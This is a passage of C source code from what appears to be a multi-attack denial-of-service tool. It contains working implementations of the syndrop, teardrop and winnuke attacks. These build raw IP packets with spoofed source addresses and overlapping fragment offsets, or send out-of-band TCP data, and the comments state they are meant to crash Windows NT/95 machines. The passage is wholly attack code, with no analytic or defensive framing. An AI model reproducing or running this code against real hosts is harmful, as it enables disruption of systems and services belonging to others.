  837.    *  better.
  838.    */
  839.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  840.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  841.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  842.   *((u_short *) p_ptr) = FIX (MAGIC);
  843.  
  844.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  845.           sizeof (struct sockaddr)) == -1)
  846.     {
  847.       perror ("\nsendto");
  848.       free (packet);
  849.       exit (1);
  850.     }
  851.   free (packet);
  852. }
  853.  
  854. /* syndrop(destination) */
  855.  
  856. u_long name_resolve (u_char *);
  857. u_short in_cksum (u_short *, int);
  858. void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);
  859.  
  860. int 
  861. syndrop (char *synd_host)
  862. {
  863.   int one = 1, count = 0, i, rip_sock;
  864.   u_long src_ip = 0, dst_ip = 0;
  865.   u_short src_prt = 0, dst_prt = 0;
  866.   u_long s_start = 0, s_end = 0;
  867.   struct in_addr addr;
  868.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  869.     {
  870.       perror ("raw socket");
  871.       exit (1);
  872.     }
  873.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
  874.     {
  875.       perror ("IP_HDRINCL");
  876.       exit (1);
  877.     }
  878.   if (!(dst_ip = name_resolve (synd_host)))
  879.     {
  880.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  881.       exit (1);
  882.     }
  883.   src_ip = rand ();
  884.   srandom ((unsigned) (time ((time_t) 0)));
  885.   src_prt = (random () % 0xffff);
  886.   dst_prt = (random () % 0xffff);
  887.   count = COUNT;
  888.  
  889.   addr.s_addr = src_ip;
  890.   addr.s_addr = dst_ip;
  891.   for (i = 0; i < count; i++)
  892.     {
  893.       send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
  894.       fprintf (stderr, "&");
  895.       usleep (500);
  896.     }
  897.   return (0);
  898. }
  899.  
  900. /*
  901.  *  Send two IP fragments with pathological offsets.  We use an implementation
  902.  *  independent way of assembling network packets that does not rely on any of
  903.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  904.  */
  905.  
  906. void 
  907. send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
  908. {
  909.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  910.   u_char byte;            /* a byte */
  911.   struct sockaddr_in sin;    /* socket protocol structure */
  912.  
  913.   sin.sin_family = AF_INET;
  914.   sin.sin_port = src_prt;
  915.   sin.sin_addr.s_addr = dst_ip;
  916.  
  917.   /*
  918.    * Grab some memory for our packet, align p_ptr to point at the beginning
  919.    * of our packet, and then fill it with zeros.
  920.    */
  921.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  922.   p_ptr = packet;
  923.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    /* Set it all to zero */
  924.  
  925.   byte = 0x45;            /* IP version and header length */
  926.   memcpy (p_ptr, &byte, sizeof (u_char));
  927.   p_ptr += 2;            /* IP TOS (skipped) */
  928.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  929.   p_ptr += 2;
  930.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  931.   p_ptr += 2;
  932.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  933.   p_ptr += 2;
  934.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  935.   byte = IPPROTO_TCP;
  936.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  937.   p_ptr += 4;            /* IP checksum filled in by kernel */
  938.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  939.   p_ptr += 4;
  940.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  941.   p_ptr += 4;
  942.   *((u_short *) p_ptr) = htons (src_prt);    /* TCP source port */
  943.   p_ptr += 2;
  944.   *((u_short *) p_ptr) = htons (dst_prt);    /* TCP destination port */
  945.   p_ptr += 2;
  946.   *((u_long *) p_ptr) = seq1;    /* TCP sequence # */
  947.   p_ptr += 4;
  948.   *((u_long *) p_ptr) = 0;    /* ack */
  949.   p_ptr += 4;
  950.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* TCP data offset */
  951.   /* Increases TCP total length to 48 bytes Which is too big! */
  952.   p_ptr += 2;
  953.   *((u_char *) p_ptr) = TH_SYN;    /* flags: mark SYN */
  954.   p_ptr += 1;
  955.   *((u_short *) p_ptr) = seq2 - seq1;    /* window */
  956.   *((u_short *) p_ptr) = 0x44;    /* checksum : this is magic value for NT, W95.  dissasemble M$ C++ to see why, if you have time  */
  957.   *((u_short *) p_ptr) = 0;    /* urgent */
  958.  
  959.   if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
  960.           sizeof (struct sockaddr)) == -1)
  961.     {
  962.       perror ("\nsendto");
  963.       free (packet);
  964.       exit (1);
  965.     }
  966.  
  967.   /*  We set the fragment offset to be inside of the previous packet's
  968.    *  payload (it overlaps inside the previous packet) but do not include
  969.    *  enough payload to cover complete the datagram.  Just the header will
  970.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  971.    *  better.
  972.    */
  973.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  974.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  975.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  976.   *((u_short *) p_ptr) = FIX (MAGIC);
  977.   p_ptr = &packet[24];        /* hop in to the sequence again... */
  978.   *((u_long *) p_ptr) = seq2;    /* TCP sequence # */
  979.  
  980.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
  981.     {
  982.       perror ("\nsendto");
  983.       free (packet);
  984.       exit (1);
  985.     }
  986.   free (packet);
  987. }
  988.  
  989. /* teardrop(destination) */
  990.  
  991. u_long name_resolve (u_char *);
  992. u_short in_cksum (u_short *, int);
  993. void tear_frags (int, u_long, u_long, u_short, u_short);
  994.  
  995. int 
  996. teardrop (char *tear_host)
  997. {
  998.   int one = 1, count = 0, i, rip_sock;
  999.   u_long src_ip = 0, dst_ip = 0;
  1000.   u_short src_prt = 0, dst_prt = 0;
  1001.   struct in_addr addr;
  1002.  
  1003.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1004.     {
  1005.       perror ("raw socket");
  1006.       exit (1);
  1007.     }
  1008.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  1009.       < 0)
  1010.     {
  1011.       perror ("IP_HDRINCL");
  1012.       exit (1);
  1013.     }
  1014.   if (!(dst_ip = name_resolve (tear_host)))
  1015.     {
  1016.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  1017.       exit (1);
  1018.     }
  1019.   src_ip = rand ();
  1020.   srandom ((unsigned) (time ((time_t) 0)));
  1021.   src_prt = (random () % 0xffff);
  1022.   dst_prt = (random () % 0xffff);
  1023.   count = COUNT;
  1024.  
  1025.   addr.s_addr = src_ip;
  1026.   addr.s_addr = dst_ip;
  1027.  
  1028.   for (i = 0; i < count; i++)
  1029.     {
  1030.       tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  1031.       fprintf (stderr, "%%");
  1032.       usleep (500);
  1033.     }
  1034.   return (0);
  1035. }
  1036.  
  1037. /*
  1038.  *  Send two IP fragments with pathological offsets.  We use an implementation
  1039.  *  independent way of assembling network packets that does not rely on any of
  1040.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  1041.  */
  1042.  
  1043. void 
  1044. tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  1045.         u_short dst_prt)
  1046. {
  1047.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  1048.   u_char byte;            /* a byte */
  1049.   struct sockaddr_in sin;    /* socket protocol structure */
  1050.  
  1051.   sin.sin_family = AF_INET;
  1052.   sin.sin_port = src_prt;
  1053.   sin.sin_addr.s_addr = dst_ip;
  1054.  
  1055.   /*
  1056.    * Grab some memory for our packet, align p_ptr to point at the beginning
  1057.    * of our packet, and then fill it with zeros.
  1058.    */
  1059.   packet = (u_char *) malloc (IPH + UDPH + TPADDING);
  1060.   p_ptr = packet;
  1061.   bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);
  1062.  
  1063.   byte = 0x45;            /* IP version and header length */
  1064.   memcpy (p_ptr, &byte, sizeof (u_char));
  1065.   p_ptr += 2;            /* IP TOS (skipped) */
  1066.   *((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING);    /* total length */
  1067.   p_ptr += 2;
  1068.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  1069.   p_ptr += 2;
  1070.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  1071.   p_ptr += 2;
  1072.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  1073.   byte = IPPROTO_UDP;
  1074.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  1075.   p_ptr += 4;            /* IP checksum filled in by kernel */
  1076.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  1077.   p_ptr += 4;
  1078.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  1079.   p_ptr += 4;
  1080.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  1081.   p_ptr += 2;
  1082.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  1083.   p_ptr += 2;
  1084.   *((u_short *) p_ptr) = htons (8 + TPADDING);    /* UDP total length */
  1085.  
  1086.   if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
  1087.           sizeof (struct sockaddr)) == -1)
  1088.     {
  1089.       perror ("\nsendto");
  1090.       free (packet);
  1091.       exit (1);
  1092.     }
  1093.  
  1094.   /*  We set the fragment offset to be inside of the previous packet's
  1095.    *  payload (it overlaps inside the previous packet) but do not include
  1096.    *  enough payload to cover complete the datagram.  Just the header will
  1097.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  1098.    *  better.
  1099.    */
  1100.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  1101.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  1102.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  1103.   *((u_short *) p_ptr) = FIX (MAGIC);
  1104.  
  1105.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  1106.           sizeof (struct sockaddr)) == -1)
  1107.     {
  1108.       perror ("\nsendto");
  1109.       free (packet);
  1110.       exit (1);
  1111.     }
  1112.   free (packet);
  1113. }
  1114.  
  1115. /* winnuke(destination) */
  1116.  
  1117. int winnuke_s;
  1118. char *str = "bill_loves_you!";
  1119. struct sockaddr_in addr, spoofedaddr;
  1120. struct hostent *host;
  1121. int 
  1122. winnuke_sub (int sock, char *server, int port)
  1123. {
  1124.   struct sockaddr_in blah;
  1125.   struct hostent *he;
  1126.   bzero ((char *) &blah, sizeof (blah));
  1127.   blah.sin_family = AF_INET;
  1128.   blah.sin_addr.s_addr = inet_addr (server);
  1129.   blah.sin_port = htons (port);
  1130.   if ((he = gethostbyname (server)) != NULL)
  1131.     {
  1132.       bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
  1133.     }
  1134.   else
  1135.     {
  1136.       if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
  1137.     {
  1138.       perror ("gethostbyname()");
  1139.       return (-3);
  1140.     }
  1141.     }
  1142.   if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
  1143.     {
  1144.       perror ("connect()");
  1145.       close (sock);
  1146.       return (-4);
  1147.     }
  1148.   return;
  1149. }
  1150. int 
  1151. winnuke (char *winnuke_host)
  1152. {
  1153.   int wncounter;
  1154.   for (wncounter = 0; wncounter < WNUKEREP; wncounter++)
  1155.     {
  1156.       if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  1157.     {
  1158.       perror ("socket()");
  1159.       exit (-1);
  1160.     }
  1161.       winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
  1162.       send (winnuke_s, str, strlen (str), MSG_OOB);
  1163.       fprintf (stderr, "*");
  1164.       usleep (500);
  1165.       close (winnuke_s);
  1166.     }
  1167.   return;
  1168. }
  1169. /* EOF */
  1170.